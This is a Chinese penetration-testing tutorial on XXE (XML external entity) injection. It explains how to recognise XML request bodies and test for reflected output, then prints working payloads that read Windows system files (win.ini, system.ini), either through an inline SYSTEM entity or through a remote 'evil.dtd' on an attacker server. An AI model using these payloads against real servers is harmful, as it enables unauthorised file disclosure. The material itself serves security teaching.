标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2765]   作者: hudie 发表于: [2020-10-16]

本文共 [330] 位读者顶过

什么是XXE外部实体注入?

XXE漏洞全程为XML External Entity Injection, 也就是XML外部实体注入漏洞。

需要知道的常识:

1、XML的设计宗旨是传输数据,而非显示数据。

2、XML会自动加载本地服务器的数据,也就是说,服务器会执行,我想让他执行的所有操作。

比如说:我输入一段指令或者代码,让他去查询账号密码,那么这个时候他就会去自己的服务器查找。

3、下面这张图只是一种XML的一种代码格式,因为你没见过所以觉得不熟

HTML代码你见得多吧? PHP你见到多吧?

所以你会觉得比较亲切,但实际上你没有必要去深究他其中的寓意,你可以会利用之后在返回过来去理解这张图,你的感觉可能会更好

[出自:jiwo.org]


4、  libxml2.9.1 及以后,默认不解析外部实体。

可以使用 phpinfo()查看 libxml 的版本信息

看到这里你可能都比较懵,没关系,我们来复现一个案列,那么你可能就懂了

发现漏洞

我们在做一些敏感操作的时候,抓包注意以下几个特征:

那么那些事比较敏感的操作呢?

1、登录 or 注册

2、搜索

3、留言

.......等等等,重点还是要抓包

Content-Type:text/xml
Content-type:application/xml
<forgot><username>admin</username></forgot>


在一个数据包里,当你发现这些特征,那么只能是怀疑,注意,是怀疑,此处可能是通过xml进行传输数据。

那么既然产生怀疑,我们就要去验证我们的想法


我们输入一个这样格式的数据添加在下面,注意通常抓到的包都是POST,所以数据包我是放在下面

<test>XXXOO</test>

这个是符合XML格式的一个代码,如果他这个地方确实是XML进行传输数据的,那么他应该不会报错

或者,会显示你所输入的内容


下面这张图200 OK 是没报错

框柱的部分是显示的内容


至此,我们已经可以确定,此处 确确实实是通过XML进行传输数据的

到这里我们先暂停,打住,你现在已经可以独立的去发现XXE漏洞了


那么接下来就是利用环节,如何去利用这个漏洞,扩大它的危害,证明它是需要被修复的

那么这个这个时候,你就需要在了解一些常识:

XXE的漏洞类型:

1、回显型

2、无回显型

1)回显型:即你输入一个符合XML格式的代码,你输入什么那么他就会返回什么

2)无回型:即你输入一个符合XML格式的代码,他不会报错,但是啥也不会显示,达不到回显型的效果——你输入啥就显示啥的效果。

怎么利用?

咱们先说回显型

扯一句题外话:web渗透测试,犹如瞎子摸石头过河,开始在不行动的时候,周遭是漆黑一片,不知道哪里有水 哪里有石头 哪里有桥,何方有路


那么我就需要一步步的来开始去做尝试

1、先尝试XML的内部引用测试

目的:是为了去确认当前这个位置是否是通过xml协议传输数据,并且是否能够达到回显的效果

<?xml version="1.0"?>

<!DOCTYPE aaa [
<!ENTITY xxoo SYSTEM  "AAABBB">
]>

<user><username>&xxoo;</username><password>222</password></user>

K OK,可以确认当前此处是存在回显的,

而且 而且,我们是输入一个符合XML的协议的格式代码,对方不支持,又如何能显示呢?

所以,此处也确认了确实是通过XML传输协议,传输数据


2、尝试任意文件读取,外部引用SYSTEM

你现在可以打开你的电脑这个路径下的文件先看上一眼,c:/windows/win.ini

然后再主要看下面的图,再来看PAYLOAD

-----PYALOAD形式一:
受害者页面输入:

<?xml version="1.0"?>
<!DOCTYPE xxoo  SYSTEM       "http://127.0.0.1/test/evil.dtd">
<xxoo>&bbbb;</xxoo>
=================================================
攻击者外网服务器:

http://127.0.0.1/test/evil.dtd的数据
<!ENTITY bbbb SYSTEM "file:///c:/windows/system.ini">


-------------------------------------Pyload形式二:
受害者页面输入:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxoo [  
<!ENTITY iiii SYSTEM "file:///c:/windows/win.ini"> ]>
<xxoo>&iiii;</xxoo>


这里最关键的点在于

file这是一个文件读取的协议,准确的来说是伪协议,可以读取数据,

为什么可以读,请回看常识部分

我现在是想让它通过我的命令去读取这个目录下面的文件内容,由于XML会自动加载本地服务器的数据,所以它就会去自己的电脑上(服务器)去按照我所给的路径去查找数据,也就有了下面截图的一幕,获取到了对应路径下面的内容

好的至此,回显型的XXE漏洞的发现和利用你就掌握了


评论

暂无
发表评论
 返回顶部 
热度(330)
 关注微信